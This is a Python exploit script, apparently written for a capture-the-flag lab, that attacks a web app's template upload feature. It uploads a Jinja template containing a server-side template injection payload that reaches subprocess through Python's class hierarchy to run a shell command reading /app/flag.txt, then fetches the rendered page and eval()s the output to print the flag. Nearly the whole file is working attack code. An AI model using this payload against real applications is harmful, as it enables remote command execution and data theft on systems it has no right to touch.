#!/usr/bin/env python

# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
# https://git.romanh.de/Roman/HackingScripts

import os
import re
import sys
import json
import time
import base64
import requests
import subprocess
import urllib.parse
from bs4 import BeautifulSoup
from hackingscripts import util, rev_shell
from hackingscripts.fileserver import HttpFileServer

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

BASE_URL = "https://f781f357-05d7-4098-933b-e9da8cfb2c06.idocker.vuln.land" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"
IP_ADDRESS = util.get_address()

def request(method, uri, **kwargs):
    if not uri.startswith("/") and uri != "":
        uri = "/" + uri

    client = requests
    if "session" in kwargs:
        client = kwargs["session"]
        del kwargs["session"]
    
    if "allow_redirects" not in kwargs:
        kwargs["allow_redirects"] = False
    
    if "verify" not in kwargs:
        kwargs["verify"] = False
    
    if "proxies" not in kwargs:
        kwargs["proxies"] = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

    return client.request(method, BASE_URL + uri, **kwargs)

def upload_template(file_name, file_data, fields_data=None):

    fields_data = util.nvl(fields_data, {})

    files = {
        "template": (file_name, file_data),
        "fields": (None, json.dumps(fields_data))
    }

    res = request("POST", "/upload", files=files)
    util.assert_status_code(res, 302)
    util.assert_header_present(res, "Location")
    return res.headers["Location"]

if __name__ == "__main__": 
    injection = "{{ \n[].__class__.__base__.__subclasses__()[452]('cat /app/flag.txt',shell=True,stdout=-1).communicate() }}"
    template_url = upload_template("blindhero.jinja", f"<pre>{injection}</pre>")

    res = request("POST", template_url)
    util.assert_status_code(res, 200)
    util.assert_content_type(res, "text/html")
    soup = BeautifulSoup(res.text, "html.parser")
    print("[+] Flag:", eval(soup.text)[0].decode().strip())